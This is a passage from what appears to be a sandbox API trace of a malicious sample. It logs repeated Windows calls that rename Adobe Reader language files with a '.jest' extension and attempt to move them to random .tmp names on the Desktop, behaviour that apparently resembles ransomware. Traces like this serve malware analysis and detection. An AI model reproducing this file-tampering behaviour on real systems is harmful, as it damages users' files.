(bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥彟剔䑁呉佉䅎⹌硴⹴敪瑳") returned 0x7a [0150.929] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=123, lpWideCharStr=0x1445ffc, cchWideChar=245 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es__TRADITIONAL.txt.jest") returned 123 [0150.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es__TRADITIONAL.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es__TRADITIONAL.txt", lpUsedDefaultChar=0x0) returned 118 [0150.930] VarBstrFromR4 (in: fltIn=0x4794504f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.62") returned 0x0 [0150.930] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.930] CoFreeUnusedLibraries () [0150.930] GetTickCount () returned 0x115780d [0150.930] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.930] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.930] GetTickCount () returned 0x115780d [0150.931] IsWindowVisible (hWnd=0x30268) returned 0 [0150.931] Sleep (dwMilliseconds=0x0) [0150.931] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es__TRADITIONAL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es__traditional.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jr814Tg2FeltX--qKK2TPF0icRWLSI6jazqne2OzGDc4IKDTsyRtJMjHVSh-o8qEST98mX5jYHWh ILpkgFIZNU-l6lNDr7l0OKf.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jr814tg2feltx--qkk2tpf0icrwlsi6jazqne2ozgdc4ikdtsyrtjmjhvsh-o8qest98mx5jyhwh ilpkgfiznu-l6lndr7l0okf.tmp")) returned 0 [0150.932] GetLastError () returned 0x2 [0150.932] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.932] CoFreeUnusedLibraries () [0150.932] GetTickCount () returned 0x115780d [0150.932] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.932] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.932] GetTickCount () returned 0x115780d [0150.933] IsWindowVisible (hWnd=0x30268) returned 0 [0150.933] Sleep (dwMilliseconds=0x0) [0150.934] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14f55bc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.934] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0150.935] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es.txt.jest")) returned 1 [0150.936] GetLastError () returned 0x0 [0150.936] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥琮瑸") returned 0x68 [0150.936] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=104, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 104 [0150.936] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥琮瑸") returned 0x68 [0150.936] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=105, lpWideCharStr=0x1445ffc, cchWideChar=209 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es.txt") returned 105 [0150.936] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥琮瑸樮獥t") returned 0x6d [0150.936] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=109, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 109 [0150.936] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥琮瑸樮獥t") returned 0x6d [0150.936] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=110, lpWideCharStr=0x144ebf4, cchWideChar=219 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es.txt.jest") returned 110 [0150.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es.txt", lpUsedDefaultChar=0x0) returned 105 [0150.937] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0150.937] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0150.938] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0150.938] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x24, wMilliseconds=0x26a)) [0150.938] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0150.938] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x24, wMilliseconds=0x26a)) [0150.938] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x24, wMilliseconds=0x26a)) [0150.938] GetUserDefaultLCID () returned 0x409 [0150.939] VarBstrFromR4 (in: fltIn=0x4794504f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.62") returned 0x0 [0150.939] GetUserDefaultLCID () returned 0x409 [0150.939] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x18e9b8, cchData=6 | out: lpLCData="1252") returned 5 [0150.939] SysStringByteLen (bstr="7") returned 0x1 [0150.939] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x14f55bc, cbMultiByte=1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0150.939] SysStringByteLen (bstr="7") returned 0x1 [0150.939] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x14f55bc, cbMultiByte=2, lpWideCharStr=0x14da79c, cchWideChar=3 | out: lpWideCharStr="7") returned 2 [0150.939] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0150.940] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.940] CoFreeUnusedLibraries () [0150.940] GetTickCount () returned 0x115781d [0150.940] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.940] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.940] GetTickCount () returned 0x115781d [0150.940] IsWindowVisible (hWnd=0x30268) returned 0 [0150.940] Sleep (dwMilliseconds=0x0) [0150.941] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4VxsF_3X7l2tCOfOzILfFPY4VmIHutJQG5eMru4qN8uuWnjN7k6Aqz38S5NCp pc0tFQli5IlF05OrwoGC5VF6Z_V-UXyFIKqzUHn.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\4vxsf_3x7l2tcofozilffpy4vmihutjqg5emru4qn8uuwnjn7k6aqz38s5ncp pc0tfqli5ilf05orwogc5vf6z_v-uxyfikqzuhn.tmp")) returned 0 [0150.942] GetLastError () returned 0x2 [0150.942] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0150.942] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0150.943] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.943] CoFreeUnusedLibraries () [0150.943] GetTickCount () returned 0x115781d [0150.943] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.943] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.943] GetTickCount () returned 0x115781d [0150.943] IsWindowVisible (hWnd=0x30268) returned 0 [0150.943] Sleep (dwMilliseconds=0x0) [0150.944] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0150.945] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_VE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ve.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_VE.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ve.txt.jest")) returned 1 [0150.946] GetLastError () returned 0x0 [0150.946] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥噟⹅硴t") returned 0x6b [0150.946] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0150.946] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥噟⹅硴t") returned 0x6b [0150.946] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=108, lpWideCharStr=0x146c82c, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_VE.txt") returned 108 [0150.946] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥噟⹅硴⹴敪瑳") returned 0x70 [0150.946] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0150.946] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥噟⹅硴⹴敪瑳") returned 0x70 [0150.946] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=113, lpWideCharStr=0x144eaec, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_VE.txt.jest") returned 113 [0150.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_VE.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_VE.txt", lpUsedDefaultChar=0x0) returned 108 [0150.946] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0150.947] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0150.947] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0150.947] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x24, wMilliseconds=0x27a)) [0150.947] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0150.947] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x24, wMilliseconds=0x27a)) [0150.947] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x24, wMilliseconds=0x27a)) [0150.947] GetUserDefaultLCID () returned 0x409 [0150.947] VarBstrFromR4 (in: fltIn=0x47945051, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.63") returned 0x0 [0150.948] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0150.948] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.948] CoFreeUnusedLibraries () [0150.948] GetTickCount () returned 0x115781d [0150.948] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.948] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.948] GetTickCount () returned 0x115781d [0150.948] IsWindowVisible (hWnd=0x30268) returned 0 [0150.948] Sleep (dwMilliseconds=0x0) [0150.949] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_VE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ve.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\No2j_uY4xe4Zsb-76rroY25VnF0TS6xlxizGuFwibPz9qe_CGse8ctNfg87PD8G2b_- L-SKfzqowDPS4xiFozwFLCLcyi2sS2v3.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\no2j_uy4xe4zsb-76rroy25vnf0ts6xlxizgufwibpz9qe_cgse8ctnfg87pd8g2b_- l-skfzqowdps4xifozwflclcyi2ss2v3.tmp")) returned 0 [0150.950] GetLastError () returned 0x2 [0150.950] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0150.950] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0150.950] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.951] CoFreeUnusedLibraries () [0150.951] GetTickCount () returned 0x115781d [0150.951] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.951] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.951] GetTickCount () returned 0x115781d [0150.951] IsWindowVisible (hWnd=0x30268) returned 0 [0150.951] Sleep (dwMilliseconds=0x0) [0150.952] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0150.952] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_US.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_us.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_US.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_us.txt.jest")) returned 1 [0150.954] GetLastError () returned 0x0 [0150.954] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳湥啟⹓硴t") returned 0x6b [0150.954] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0150.954] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳湥啟⹓硴t") returned 0x6b [0150.954] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=108, lpWideCharStr=0x144eaec, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_US.txt") returned 108 [0150.954] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳湥啟⹓硴⹴敪瑳") returned 0x70 [0150.954] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0150.954] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳湥啟⹓硴⹴敪瑳") returned 0x70 [0150.954] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=113, lpWideCharStr=0x144ebf4, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_US.txt.jest") returned 113 [0150.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_US.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_US.txt", lpUsedDefaultChar=0x0) returned 108 [0150.955] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0150.955] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0150.955] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0150.956] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x24, wMilliseconds=0x289)) [0150.956] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0150.956] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x24, wMilliseconds=0x289)) [0150.956] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x24, wMilliseconds=0x289)) [0150.956] GetUserDefaultLCID () returned 0x409 [0150.956] VarBstrFromR4 (in: fltIn=0x47945053, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.65") returned 0x0 [0150.956] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0150.957] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.957] CoFreeUnusedLibraries () [0150.957] GetTickCount () returned 0x115782d [0150.957] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.957] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.957] GetTickCount () returned 0x115782d [0150.957] IsWindowVisible (hWnd=0x30268) returned 0 [0150.957] Sleep (dwMilliseconds=0x0) [0150.958] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_US.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_us.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ccfgKW4P0YyBpkAa5zStOlkShI4BMff63b1Ox-EARPjCrJf64fETyJpj82F9HMWRWwoQtXqf6dLFhfSD7zqW38cnkE-c_Tqs0Jf.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ccfgkw4p0yybpkaa5zstolkshi4bmff63b1ox-earpjcrjf64fetyjpj82f9hmwrwwoqtxqf6dlfhfsd7zqw38cnke-c_tqs0jf.tmp")) returned 0 [0150.958] GetLastError () returned 0x2 [0150.958] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0150.959] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0150.959] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.959] CoFreeUnusedLibraries () [0150.959] GetTickCount () returned 0x115782d [0150.959] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.959] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.959] GetTickCount () returned 0x115782d [0150.959] IsWindowVisible (hWnd=0x30268) returned 0 [0150.959] Sleep (dwMilliseconds=0x0) [0150.960] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0150.961] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_GB_EURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_gb_euro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_GB_EURO.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_gb_euro.txt.jest")) returned 1 [0150.962] GetLastError () returned 0x0 [0150.962] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳湥䝟彂啅佒琮瑸") returned 0x70 [0150.962] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0150.962] SysStringByteLen 